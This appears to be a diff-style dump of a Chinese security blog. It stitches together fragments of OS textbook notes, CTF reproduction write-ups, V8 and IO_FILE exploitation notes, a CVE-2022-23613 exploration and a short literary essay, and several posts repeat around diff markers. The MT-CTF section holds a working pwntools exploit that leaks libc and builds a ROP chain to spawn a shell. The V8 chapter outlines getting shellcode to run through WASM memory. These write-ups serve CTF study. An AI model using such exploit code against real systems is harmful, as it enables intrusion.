《操作系统真象还原》chapter9 笔记与注意

First Post:

Last Update:


PART 1

  • 问:进程和线程的关系是什么?
  • 答:进程=线程+资源
  • @@ -65,7 +65,7 @@

    PART 2调度程序的switch_to函数第一次调度时返回到kernel_thread,在该函数中开启中断;而在此后的调度中,会返回到jmp intr_exit指令出,在之后的iret指令下恢复eflags寄存器,从而开启中断。

    插画ID:75919964

    -

《操作系统真象还原》chapter11 笔记与梳理

文章发布时间:

最后更新时间:


+}

《操作系统真象还原》chapter11 笔记与梳理

First Post:

Last Update:


本章总算是开始我之前最关心的问题:用户进程的虚拟地址空间如何实现。
实际上在读前几章的时候就大概知道了,但还是对其具体的实现和细节方面抱有疑问,既然现在看完这章了,趁着还记得的时候留些笔记好了。

首先是关于TSS(Task Status Segment)的作用和开始时存在的疑问:

@@ -87,7 +87,7 @@

(不过就我个人来说,对这个事实还是有点难以释然,但这毕竟是说得通的,如果以后有更好的答案了再来补充吧)

插画ID:74657806

-

《操作系统真象还原》chapter12 笔记与思考

文章发布时间:

最后更新时间:

本章内容只有一个:系统调用

+}

《操作系统真象还原》chapter12 笔记与思考

First Post:

Last Update:

本章内容只有一个:系统调用

实现的调用包括:sys_malloc、sys_free、sys_write、sys_getpid

前言

可惜的是,本书本章使用的是目前Linux已经弃用的_syscallX方式。在原版的Linux中,这种方式最多只支持6个参数,限制诸多且据本书作者说还存在安全问题(不过我查了一圈不知道具体是指什么样的安全事件)。目前记笔记时姑且这样继续,事后自己尝试的时候再试试能不能实现更加现代化一点的操作。

另外本书这节也实现了malloc和free,但其实现方式和我一直以来认知的堆管理似乎有很大的差别……考虑到实际的工程量问题,事后再尝试能否也做一些现代化的改造吧,当下先以笔记优先,姑且认同其实现方式。

@@ -65,7 +65,7 @@

嘛,如果到时候有机会的话可以试着实现一个看看,不过目前先就这样放着吧。本书最终的操作系统毕竟只是一个用于理解原理的精简版,所以知道真是情况以后还是省察着看吧。


插画ID:90781328

-

《操作系统真象还原》chapter13 笔记与整理

文章发布时间:

最后更新时间:


+}

《操作系统真象还原》chapter13 笔记与整理

First Post:

Last Update:


不太好用比较好看的格式来说明这章的内容,就我个人的感受来说,主要是科普了一下计算机和硬盘是如何交互的,顺便对外部设备的驱动编写有了一点比较模糊的认识。

名次解释

首先是关于硬盘的几个名词解释:

    @@ -81,7 +81,7 @@

TQLCTF-RE/PWN复现报告

文章发布时间:

最后更新时间:

RE

Tales of the Arrow

在遇到这题以前甚至都没接触过2-sat问题,所以这次也对这个问题做个概述吧。

+}

TQLCTF-RE/PWN复现报告

First Post:

Last Update:

RE

Tales of the Arrow

在遇到这题以前甚至都没接触过2-sat问题,所以这次也对这个问题做个概述吧。

以下内容摘自OI WIKI:

2-SAT,简单的说就是给出 n个集合,每个集合有两个元素,已知若干个,表示 a与 b矛盾(其中 a与b属于不同的集合)。然后从每个集合选择一个元素,判断能否一共选n个两两不矛盾的元素。

@@ -241,7 +241,7 @@

《操作系统真象还原》chapter14/文件系统与遗憾

文章发布时间:

最后更新时间:

写在前面

本章没能看完,有些可惜。主要是因为寒假结束,没有那种能够安静看书的时间了,所以最后两章我的阅读效率下降的很快;另外还是因为本书已经快要看完了,心态有点浮躁,实在不适合继续看下去了,于是本章笔记只对本章前半部分做了相对详细的笔记,但后半部分笔者没能读下去,所以肯定是不足的。

+}

《操作系统真象还原》chapter14/文件系统与遗憾

First Post:

Last Update:

写在前面

本章没能看完,有些可惜。主要是因为寒假结束,没有那种能够安静看书的时间了,所以最后两章我的阅读效率下降的很快;另外还是因为本书已经快要看完了,心态有点浮躁,实在不适合继续看下去了,于是本章笔记只对本章前半部分做了相对详细的笔记,但后半部分笔者没能读下去,所以肯定是不足的。

以后若有时间的话,希望能把这本书完整读完吧。

勘误

本书P600页存在一个表述错误,特此摘出:

@@ -76,7 +76,7 @@

HFCTF-2022 - TokameinE-二进制复现报告

文章发布时间:

最后更新时间:

前言

姑且参加了比赛,赛题感觉都不错,适当做了个复现。PWN那边还有一道内核没复现,主要是受限于目前笔者的技术水平,内核部分的知识还不太够用,以后有机会了会另外复现的。

+}

HFCTF-2022 - TokameinE-二进制复现报告

First Post:

Last Update:

前言

姑且参加了比赛,赛题感觉都不错,适当做了个复现。PWN那边还有一道内核没复现,主要是受限于目前笔者的技术水平,内核部分的知识还不太够用,以后有机会了会另外复现的。

最有意思的题目应该是 vdq 那题,属于是佩服做出来的师傅,那个最终的 payload 构造花了我一整天时间,整道题做了有两天半……怎么说呢,好痛苦啊。

另外 fpbe 和 mva 也挺好玩的,前者主要是给我科普了一波 ebpf ,后者主要是笔者觉得自己写的 exp 挺精巧的,自我感觉还行。不过博客的模板似乎不识别五级标题,看着确实有点不舒服了……

也欢迎师傅们捉虫。

@@ -261,7 +261,7 @@

MISC

插画ID:96449673

-

烟灰色戏言

文章发布时间:

最后更新时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
楼下的小卖铺不知道从哪进了一款新烟,我第一次见到那家店铺老板的笑容,猥琐又有些狡猾。他似乎相当兴奋,摇着手要我试试新货。过去一直苦着脸的样子全然看不出来,有的只是难以担待的盛情。耐不住其热情,我还是花了平常价格的两倍从他那买了一包从没试过的烟。
烟盒上没有任何花纹和商标,朴素的有点难以让人相信它是商业制品,想来是哪里的小作坊私造香烟,不敢把自己的牌坊印在烟盒上吧。
烟的味道有些微妙,但却有一种令人怀念又难以割舍的魔力,我说不上那种诡异的感觉,只觉得烟的味道还不错。也有想过推荐给别人,只是谁都不认识我,就连常常光顾的店铺老板都叫不上我的名字。

街上的空气还是一如既往晦涩,让人很难嗅出接下来将要发生的事情。我叼着刚买的香烟试图在前些日子发生坠落的建筑附近寻找灵感。
不过这是谎话,我只是受不了那间屋子的压抑罢了。
这个冬天冻死了不少流浪汉,公园里今天也有很多公务员在为他们收尸。其实他们也嫌麻烦,但还算尽职尽责,至少没让尸体就这样僵硬在公园角落。但这也是戏言,因为如果他们不把尸体拖去火葬场,其他流浪汉就会用它们取暖。社会肯定不会允许他们公然在公园广场上纵火,只是没有管理他们的余裕,只能暂时釜底抽薪。
在别人看来,这似乎相当异常,但很多时候这都是无可奈何的事情,所有人都在拼尽全力地活着,只是手段各不相同罢了,没有理由因此而责备他们。不好意思,这仍不过是个玩笑话,其实大家都只是得过且过,不可能毫无怨言,只是已经放弃抵抗了。运气好的能熬过这个冬天,运气差的可能下星期就会被冻死在夜里。但即便熬过了这个冬天,下个冬天也不会因此放过他们,而且只会比这一次更加难熬,风会刺得更疼,雪也积得更厚,白天会更短,黑夜会更长,手脚也只会有更长的时间处于无知觉状态,日子也只是一天比一天无望罢了。
其实大家也都知道的,我问过他们。我当时用一块面包换来了他们的答案,时至今日,我也记得对方当时感恩戴德的模样,好似一场施舍。
他紧紧攥着我的手,一副快要哭出来的样子,而他的儿子尽管不明所以,却也跪在身边,向我磕头。我看他们可怜,于是多给了一块面包,他们更是感激得直接哭了出来,手颤抖的极不自然。抱歉,我又开玩笑了,其实他们是看准了我身上还有食物,有意敲了我一笔,我已经不记得具体情况了,但我当时失望透顶,因为在我走后,他们对我能拿出的食物的量也失望透顶。我只记得这些了。

我回过神来,才发现自己已经不知道绕到哪去了。路边多了一家从没见过的甜品店,不知道是不是最近开的,倘若如此,那店家一定没什么商业视野,因为这个时期无论做什么肯定都比做食物要赚钱,在一部分人看来,做食物和做饲料没有差别。
我把快抽完的香烟丢进随身携带的烟袋里,慢悠悠地晃进甜品店,店长的女儿热情地接待了我,端着托盘一直矗在旁边,我每夹一份甜品,她就笑得愈灿烂。倒不是不能理解她的殷切,但她把那些只想闻闻刚出炉的甜品香气的客人赶出去的行为令我有些抵触。
我没办法厚着脸皮跟她说自己不打算买了,只好提着有些沉重的甜品重新回到了大街上。里面有三个甜甜圈,但其实我并没有那么喜欢甜食,或者说对食物本身就没有太多兴致,只是我实在不想看见她一副遗憾和不屑的样子,迫于压力还是要了一点。
重新点了一根香烟,还是那种复杂而又熟悉的味道。我下意识的想找个人一起分享甜品,又很快否定了这个荒谬的想法。街道毕竟不是我的街道,城市也不是我的城市,我既无求与它们,也不奢望能从它们那里得到什么。或许我会和那些流浪汉一样,光是被允许居住就必须感恩,光是能有一份工作就得殚精竭虑。
倒也无所谓,其实能给我香烟和酒精就够了。我想大多数人都是这样,喜欢迷糊要多余清醒,会觉得神志不清的状态要比清醒更吸引人,我又何尝不是呢。
对不起,我又说笑了。其实喜欢与否根本无关紧要,只是渐渐适应了,也就觉得没什么了。
那个流浪汉也这样说了,我记不住,但意思是一样的,我们生来就只有一种选择。以前我或许还会勃然大怒,但现在只要有香烟就行了。其实他们也比起面包更想要香烟,但我当时还不抽烟,不知道这会成为第二种氧气,所以还没注意到,其实真正迫切的不是食物,是烟酒。
抱歉,这还是玩笑,我又失言了。还有比烟酒更强烈的致幻剂,多到数不胜数,他们其实更喜欢那些东西,只是因为它们都不如烟酒来得容易,毕竟乞讨多多少少能得到些金钱。

不知不觉,一根接一根地品尝已经快到尽头了。口中只剩下了烟草的苦涩,从中途开始已经已经不记得自己在做什么了。我下意识地从口袋里掏出烟盒,里面只剩下两根了,我又抽出一根叼在嘴里,但这次没点燃,只是在路边找了张长椅坐下而已。
我望着天,那里什么也没有。这里的冬天很少能有晴天,今天算是例外中的例外了。可能也会有人在意,为什么他们不趁着秋天离开这里,即便想要回来,等春天再回来不就好了?理由可能会让所有人失望,其实大家只是懒得逃了。我们多多少少都有些习惯了,已经不在意结果如何了,过程也显得无关紧要了,只是在得过且过地活着罢了。倘若这个冬天会死,那就死在这个冬天;倘若熬过了这个冬天,那就在下个冬天继续。最后的最后,我们只是越来越懒惰,越来越多的事情变得无关紧要,最后,什么事都比如一根香烟来得重要,酒精优于一切。所以逃是没必要的,因为下一座城市也同样不会欢迎我们,即便那里的冬天不像这里来得要命,也没有人能保证那里的夏天就待人温和。只有政客和骗子会向他们承诺未来。对我们来说,没有任何话语是真实的,全都是戏言和玩笑。
就好像我现在靠在长椅上,叼着一根还没点燃的香烟假装睡着了。要不了多久,一定会有人偷偷把它抢走,然后没逃几步就停下来开始吸烟。我会从口袋里拿出最后一根,现在终于有人与我一起分享新香烟的味道了。我很想问问他感觉如何,奈何我追不上他,就此作罢。
甜甜圈也不知不觉间被谁拿走了,我不得已又绕回了那家店铺重新买了一份。味道差强人意,希望他们也是如此觉得吧。

玩笑也该适可而止,所以今天先到这里吧。不好意思,可能我总是无意间表现出不正经的样子。其实我今天哪也没去,只是坐在街道旁的楼梯上而已。甜品店就在旁边,小卖铺也一样,长椅是指台阶,不过香烟是个例外,它真的很令我怀念。
+}

烟灰色戏言

First Post:

Last Update:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
楼下的小卖铺不知道从哪进了一款新烟,我第一次见到那家店铺老板的笑容,猥琐又有些狡猾。他似乎相当兴奋,摇着手要我试试新货。过去一直苦着脸的样子全然看不出来,有的只是难以担待的盛情。耐不住其热情,我还是花了平常价格的两倍从他那买了一包从没试过的烟。
烟盒上没有任何花纹和商标,朴素的有点难以让人相信它是商业制品,想来是哪里的小作坊私造香烟,不敢把自己的牌坊印在烟盒上吧。
烟的味道有些微妙,但却有一种令人怀念又难以割舍的魔力,我说不上那种诡异的感觉,只觉得烟的味道还不错。也有想过推荐给别人,只是谁都不认识我,就连常常光顾的店铺老板都叫不上我的名字。

街上的空气还是一如既往晦涩,让人很难嗅出接下来将要发生的事情。我叼着刚买的香烟试图在前些日子发生坠落的建筑附近寻找灵感。
不过这是谎话,我只是受不了那间屋子的压抑罢了。
这个冬天冻死了不少流浪汉,公园里今天也有很多公务员在为他们收尸。其实他们也嫌麻烦,但还算尽职尽责,至少没让尸体就这样僵硬在公园角落。但这也是戏言,因为如果他们不把尸体拖去火葬场,其他流浪汉就会用它们取暖。社会肯定不会允许他们公然在公园广场上纵火,只是没有管理他们的余裕,只能暂时釜底抽薪。
在别人看来,这似乎相当异常,但很多时候这都是无可奈何的事情,所有人都在拼尽全力地活着,只是手段各不相同罢了,没有理由因此而责备他们。不好意思,这仍不过是个玩笑话,其实大家都只是得过且过,不可能毫无怨言,只是已经放弃抵抗了。运气好的能熬过这个冬天,运气差的可能下星期就会被冻死在夜里。但即便熬过了这个冬天,下个冬天也不会因此放过他们,而且只会比这一次更加难熬,风会刺得更疼,雪也积得更厚,白天会更短,黑夜会更长,手脚也只会有更长的时间处于无知觉状态,日子也只是一天比一天无望罢了。
其实大家也都知道的,我问过他们。我当时用一块面包换来了他们的答案,时至今日,我也记得对方当时感恩戴德的模样,好似一场施舍。
他紧紧攥着我的手,一副快要哭出来的样子,而他的儿子尽管不明所以,却也跪在身边,向我磕头。我看他们可怜,于是多给了一块面包,他们更是感激得直接哭了出来,手颤抖的极不自然。抱歉,我又开玩笑了,其实他们是看准了我身上还有食物,有意敲了我一笔,我已经不记得具体情况了,但我当时失望透顶,因为在我走后,他们对我能拿出的食物的量也失望透顶。我只记得这些了。

我回过神来,才发现自己已经不知道绕到哪去了。路边多了一家从没见过的甜品店,不知道是不是最近开的,倘若如此,那店家一定没什么商业视野,因为这个时期无论做什么肯定都比做食物要赚钱,在一部分人看来,做食物和做饲料没有差别。
我把快抽完的香烟丢进随身携带的烟袋里,慢悠悠地晃进甜品店,店长的女儿热情地接待了我,端着托盘一直矗在旁边,我每夹一份甜品,她就笑得愈灿烂。倒不是不能理解她的殷切,但她把那些只想闻闻刚出炉的甜品香气的客人赶出去的行为令我有些抵触。
我没办法厚着脸皮跟她说自己不打算买了,只好提着有些沉重的甜品重新回到了大街上。里面有三个甜甜圈,但其实我并没有那么喜欢甜食,或者说对食物本身就没有太多兴致,只是我实在不想看见她一副遗憾和不屑的样子,迫于压力还是要了一点。
重新点了一根香烟,还是那种复杂而又熟悉的味道。我下意识的想找个人一起分享甜品,又很快否定了这个荒谬的想法。街道毕竟不是我的街道,城市也不是我的城市,我既无求与它们,也不奢望能从它们那里得到什么。或许我会和那些流浪汉一样,光是被允许居住就必须感恩,光是能有一份工作就得殚精竭虑。
倒也无所谓,其实能给我香烟和酒精就够了。我想大多数人都是这样,喜欢迷糊要多余清醒,会觉得神志不清的状态要比清醒更吸引人,我又何尝不是呢。
对不起,我又说笑了。其实喜欢与否根本无关紧要,只是渐渐适应了,也就觉得没什么了。
那个流浪汉也这样说了,我记不住,但意思是一样的,我们生来就只有一种选择。以前我或许还会勃然大怒,但现在只要有香烟就行了。其实他们也比起面包更想要香烟,但我当时还不抽烟,不知道这会成为第二种氧气,所以还没注意到,其实真正迫切的不是食物,是烟酒。
抱歉,这还是玩笑,我又失言了。还有比烟酒更强烈的致幻剂,多到数不胜数,他们其实更喜欢那些东西,只是因为它们都不如烟酒来得容易,毕竟乞讨多多少少能得到些金钱。

不知不觉,一根接一根地品尝已经快到尽头了。口中只剩下了烟草的苦涩,从中途开始已经已经不记得自己在做什么了。我下意识地从口袋里掏出烟盒,里面只剩下两根了,我又抽出一根叼在嘴里,但这次没点燃,只是在路边找了张长椅坐下而已。
我望着天,那里什么也没有。这里的冬天很少能有晴天,今天算是例外中的例外了。可能也会有人在意,为什么他们不趁着秋天离开这里,即便想要回来,等春天再回来不就好了?理由可能会让所有人失望,其实大家只是懒得逃了。我们多多少少都有些习惯了,已经不在意结果如何了,过程也显得无关紧要了,只是在得过且过地活着罢了。倘若这个冬天会死,那就死在这个冬天;倘若熬过了这个冬天,那就在下个冬天继续。最后的最后,我们只是越来越懒惰,越来越多的事情变得无关紧要,最后,什么事都比如一根香烟来得重要,酒精优于一切。所以逃是没必要的,因为下一座城市也同样不会欢迎我们,即便那里的冬天不像这里来得要命,也没有人能保证那里的夏天就待人温和。只有政客和骗子会向他们承诺未来。对我们来说,没有任何话语是真实的,全都是戏言和玩笑。
就好像我现在靠在长椅上,叼着一根还没点燃的香烟假装睡着了。要不了多久,一定会有人偷偷把它抢走,然后没逃几步就停下来开始吸烟。我会从口袋里拿出最后一根,现在终于有人与我一起分享新香烟的味道了。我很想问问他感觉如何,奈何我追不上他,就此作罢。
甜甜圈也不知不觉间被谁拿走了,我不得已又绕回了那家店铺重新买了一份。味道差强人意,希望他们也是如此觉得吧。

玩笑也该适可而止,所以今天先到这里吧。不好意思,可能我总是无意间表现出不正经的样子。其实我今天哪也没去,只是坐在街道旁的楼梯上而已。甜品店就在旁边,小卖铺也一样,长椅是指台阶,不过香烟是个例外,它真的很令我怀念。

插画ID:72354485

-

操作系统课程设计Record

文章发布时间:

最后更新时间:

用户程序:

+}

操作系统课程设计Record

First Post:

Last Update:

用户程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h> /* open */
#include <stdint.h> /* uint64_t */
#include <stdlib.h> /* size_t */
#include <unistd.h> /* pread, sysconf */

typedef struct {
uint64_t pfn : 54;
unsigned int soft_dirty : 1;
unsigned int file_page : 1;
unsigned int swapped : 1;
unsigned int present : 1;
} PagemapEntry;


int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr)
{
size_t nread;
ssize_t ret;
uint64_t data;
uintptr_t vpn;

vpn = vaddr / sysconf(_SC_PAGE_SIZE);
nread = 0;
while (nread < sizeof(data)) {
ret = pread(pagemap_fd, &data, sizeof(data) - nread,
vpn * sizeof(data) + nread);
nread += ret;
if (ret <= 0) {
return 1;
}
}
entry->pfn = data & (((uint64_t)1 << 54) - 1);
entry->soft_dirty = (data >> 54) & 1;
entry->file_page = (data >> 61) & 1;
entry->swapped = (data >> 62) & 1;
entry->present = (data >> 63) & 1;
return 0;
}
int virt_to_phys_user(uintptr_t *paddr, pid_t pid, uintptr_t vaddr)
{
char pagemap_file[BUFSIZ];
int pagemap_fd;

//读取对应进程地址映射
snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t)pid);
pagemap_fd = open(pagemap_file, O_RDONLY);
if (pagemap_fd < 0) {
return 1;
}
PagemapEntry entry;
//条目获取
if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) {
return 1;
}
close(pagemap_fd);
*paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE));
return 0;
}

int main(void) {
setbuf(stdout, 0);
int a = 0;
pid_t pid = fork();
if (pid == 0)
{
//子进程
printf("Pid:%d\n",getpid());
printf("child: \n\tvirtual address:\t%llx\n\tphysical address:\t%llx\n", &a, syscall(335, &a));
sleep(2);
}
else
{
//父进程
printf("Pid:%d\n",getpid());
printf("parent: \n\tvirtual address:\t%llx\n\tphysical address:\t%llx\n", &a, syscall(335, &a));
uintptr_t aptr = &a;
uintptr_t aphy = NULL;
//子进程中该变量的物理地址
virt_to_phys_user(&aphy, pid, aptr);
printf("child:\n\tpagemap approach:\t%llx\n", aphy);
sleep(2);
}
return 0;
}

系统调用:

@@ -24,7 +24,7 @@

参考M4tsuri师傅的作业(加个系统调用在别的学校是小作业,在我这就是课程设计了……)。


插画ID:96984236

-

Chose me JavaScript-V8 /Chapter1-环境配置

文章发布时间:

最后更新时间:

写在前面

以下步骤一般情况下只在用户能够正常访问外网时成立。
大致来说,您需要为自己的设备和 git 配置代理,然后才能够顺利完成以下步骤,但出于某些原因,笔者不便在这里过多赘述配置代理的步骤,还望读者见谅

+}

Chose me JavaScript-V8 /Chapter1-环境配置

First Post:

Last Update:

写在前面

以下步骤一般情况下只在用户能够正常访问外网时成立。
大致来说,您需要为自己的设备和 git 配置代理,然后才能够顺利完成以下步骤,但出于某些原因,笔者不便在这里过多赘述配置代理的步骤,还望读者见谅

运行环境

step 0

似乎现在去 clone 那个 depot_tools 的仓库里自带了 ninja,有需要这一步的师傅可以在后续步骤中遇到报错时再回来补

1
2
3
4
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
# /path/to/ninja改成ninja的目录
@@ -68,7 +68,7 @@

参考

插画ID:95370072

-

Chose me JavaScript-V8 /Chapter2-通用利用链

文章发布时间:

最后更新时间:

首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?

+}

Chose me JavaScript-V8 /Chapter2-通用利用链

First Post:

Last Update:

首先需要明确的是,通过 v8 漏洞,我们需要达成什么样的目的?

一般在做 CTF 的时候,往往希望让远程执行 system(“/bin/sh”) 或者 execve(“/bin/sh”,0,0) 又或者 ORW ,除了最后一个外,往往一般是希望能够做到远程命令执行,所以一般通过 v8 漏洞也希望能够做到这一点。一般来说,我们希望能往里面写入shellcode,毕竟栈溢出之类的操作在 v8 下似乎不太可能完成。

WASM的利用

既然要写 shellcode,就需要保证内存中存在可读可写可执行的内存段了。在没有特殊需求的情况下,程序不可能特地开辟一块这样的内存段供用户使用,但在如今支持 WASM(WebAssembly) 的浏览器版本中,一般都需要开辟一块这样的内存用以执行汇编指令,回想上一节给出的测试代码:

1
2
3
4
5
6
7
8
9
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();
@@ -159,7 +159,7 @@

尾声

插画作者:Mike Poe-mjcr24.artstation.com

-

实习随想与踩坑记录

文章发布时间:

最后更新时间:

大二的暑假时开始了自己第一次的实习,也是第一次一个人处理各种各样的事情。实习地点在北京知道创宇 404 实验室,由于在当地并没有认识什么熟人,所以很多事情都要自己去处理,虽然遇上了很多麻烦,但最后姑且是安定下来开始实习了。

+}

实习随想与踩坑记录

First Post:

Last Update:

大二的暑假时开始了自己第一次的实习,也是第一次一个人处理各种各样的事情。实习地点在北京知道创宇 404 实验室,由于在当地并没有认识什么熟人,所以很多事情都要自己去处理,虽然遇上了很多麻烦,但最后姑且是安定下来开始实习了。

而本文写于实习结束一段时间后,在我离开北京一段时间以后有些感冒,学习进度一直没办法推进,闲来无事,坐在房间里慢慢整理这段时间的内容。如果您也有打算去外地学习,或许本文能提供一些建议。


关于面试

有关面试的问题我并未记录,目前来说也没背过面经,给我面试的师傅也不知道是北京的还是其他支部的人。最后能被招进 404 实验室大概有很多运气成分。也很感谢带我师傅,教了我不少东西。

@@ -82,7 +82,7 @@

2022美团MT-CTF复现报告-TokameinE

文章发布时间:

最后更新时间:

RE

small

题目本身不难,也没什么内容。但是我似乎没办法在本地运行它,并且也没办法反编译,所以只能静态分析汇编代码逻辑了。

+}

2022美团MT-CTF复现报告-TokameinE

First Post:

Last Update:

RE

small

题目本身不难,也没什么内容。但是我似乎没办法在本地运行它,并且也没办法反编译,所以只能静态分析汇编代码逻辑了。

IDA 打开以后没有识别到代码,所以手动将所有数据反编译以后筛出代码部分就能找到主要逻辑了。

不过代码似乎还加了花指令,我自己懒得手动 patch 中间的内容了,就纯读汇编代码。不过好在程序确实很小,中心逻辑非常少,tea 加密的相关汇编代码总共还没 30 行估计,马上就能看出来,然后写一些解密就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include<stdio.h>
#include<stdlib.h>
#include <cstdint>
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0x67452301 * 35, i;
uint32_t delta = 0x67452301;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 35; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0;
v[1] = v1;
}

int main()
{
unsigned char ida_chars1[] =
{
0x43, 0x71, 0x08, 0xDE, 0xD2, 0x1B, 0xF9, 0xC4, 0xDC, 0xDA,
0xF6, 0xDA, 0x4C, 0xD5, 0x9E, 0x6D, 0xE7, 0x4E, 0xEB, 0x75,
0x04, 0xDC, 0x1D, 0x5D, 0xD9, 0x0F, 0x1B, 0x51, 0xFB, 0x88,
0xDC, 0x51
};
uint32_t ida_chars[8];
for (int i = 0; i < 8; i++)
{
ida_chars[i] = *((uint32_t*)ida_chars1 + i);
}
uint32_t key[4] = { 0x1,0x23,0x45,0x67 };
decrypt(ida_chars, key);
decrypt(ida_chars+2, key);
decrypt(ida_chars + 4, key);
decrypt(ida_chars + 6, key);
char* k = (char*)ida_chars;
for (int i = 0; i < 32; i++)
{
printf("%c", *(k + i));
}
}
@@ -85,7 +85,7 @@

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os = "linux", arch = 'aarch64', log_level = 'debug')
libc = ELF('./libc.so.6')
file = './pwn'
elf = ELF(file)

local = 1
if local:
io = process('qemu-aarch64 -g 1234 ./pwn', shell=True)
else:
io = remote('39.106.76.68',30154)

r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
li = lambda name,x : log.info(name+':'+hex(x))
shell = lambda : io.interactive()

ru('>\n')
s('1')
ru('sensible>>\n')
s(p64(elf.got['puts']))
libcbase = u64(rx(3).ljust(8,b'\x00')) + 0x4000000000 - libc.sym['puts']
li('libcbase',libcbase)

ru('>\n')
s('2')
ru('sensible>>\n')
#padding 136
system = libcbase + libc.sym['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
gadget1_addr=libcbase + 0x72450
gadget2_addr=libcbase + 0x72448
payload = p64(gadget2_addr)*2 + b'a'*0x78 + p64(gadget1_addr)+ p64(gadget2_addr)*7+p64(bin_sh) + p64(system)*5
io.sendline(payload)
io.send('3')
io.interactive()
shell()

note

这题倒是没啥难度,当时起床晚了看了一下题目,leof 师傅三下五除二就搞出来了就没继续看了。

-

零基础要如何破除 IO_FILE 利用原理的迷雾

文章发布时间:

最后更新时间:

前言

好久以前,在我完成 Glibc2.23 的基本堆利用学习以后,IO_FILE 的利用就被提上日程了,但苦于各种各样的麻烦因素,时至今日,我才终于动笔开始学习这种利用技巧,实属惭愧。

+}

零基础要如何破除 IO_FILE 利用原理的迷雾

First Post:

Last Update:

前言

好久以前,在我完成 Glibc2.23 的基本堆利用学习以后,IO_FILE 的利用就被提上日程了,但苦于各种各样的麻烦因素,时至今日,我才终于动笔开始学习这种利用技巧,实属惭愧。

近几年,由于堆利用的条件越来越苛刻,加之几个常用的劫持 hook 被删除,IO 的地位逐渐有超过堆利用的趋势,因此为了跟上这几年的新潮,赶紧回来学习一下 IO 流的利用技巧。

如果本文存在任何错误,请务必与我联系。

最开始是打算跟着内核去看 IO_FILE 的,但是最近内核的学习暂时搁置了,于是迫不得已现在就开始学 IO 了,不过也还好,这部分内容跟着其他师傅的文章去学,似乎也不会太成问题,有问题就是我的问题。而且主要涉及到的内容其实和内核无关,都是些 GLIBC 的源代码,这部分其实还在用户层,不过大多数利用都在通过 largebin attack 进行,因此可能还是需要一部分的堆利用基础的。

@@ -303,7 +303,7 @@

结语

参考资料

winmt:https://bbs.pediy.com/thread-272098.htm
chuj:https://www.cjovi.icu/pwnreview/1171.html
raycp:https://www.anquanke.com/post/id/177958
r3kapig:https://www.anquanke.com/post/id/242640
roderick01:https://bbs.pediy.com/thread-273418.htm
roderick01:https://bbs.pediy.com/thread-273832.htm
roderick01:https://bbs.pediy.com/thread-273863.htm
春秋伽玛:https://bbs.pediy.com/thread-270429.htm
CatF1y:https://bbs.pediy.com/thread-273895.htm

师傅们的文章都非常炫酷,如果您想要进一步理解,我推荐读者将本文与上述参考对照着看。

-

CVE-2022-23613 漏洞复现与利用可能性尝试

文章发布时间:

最后更新时间:

+}

CVE-2022-23613 漏洞复现与利用可能性尝试

First Post:

Last Update:

写在前面:本篇文章后,笔者已经发现了可稳定利用且不依赖堆喷的利用方案,详情请见笔者于 看雪KCTF2022秋季赛 所出题目:https://bbs.kanxue.com/thread-274982.htm
笔者在该比赛中将本题的稳定利用方式作为赛题提交参赛,并最终收获 精致奖(Rank3)
因此本篇内容属于笔者对于堆喷利用技巧的探索和思考

CVE-2022-23613复现与漏洞利用可能性

因为很少做过真实场景下的漏洞复现,深感自己知识的浅薄,恰巧团里的师傅发了个洞,让我看看怎么利用,因此顺便做一个简陋的分析吧。

@@ -162,7 +162,7 @@

这个 exp 可能是不通的,因为我选了用 execlp 去完成。主要是做到这一步之后,我感兴趣的部分已经全都完成了,所以差不多就停了,并且本文也已经写完了。

如果读者对 execvp 的方案感兴趣,也可以自行尝试一下。

-

NepnepxCATCTF2022 writeup by TokameinE

文章发布时间:

最后更新时间:

闲言

+}

NepnepxCATCTF2022 writeup by TokameinE

First Post:

Last Update:

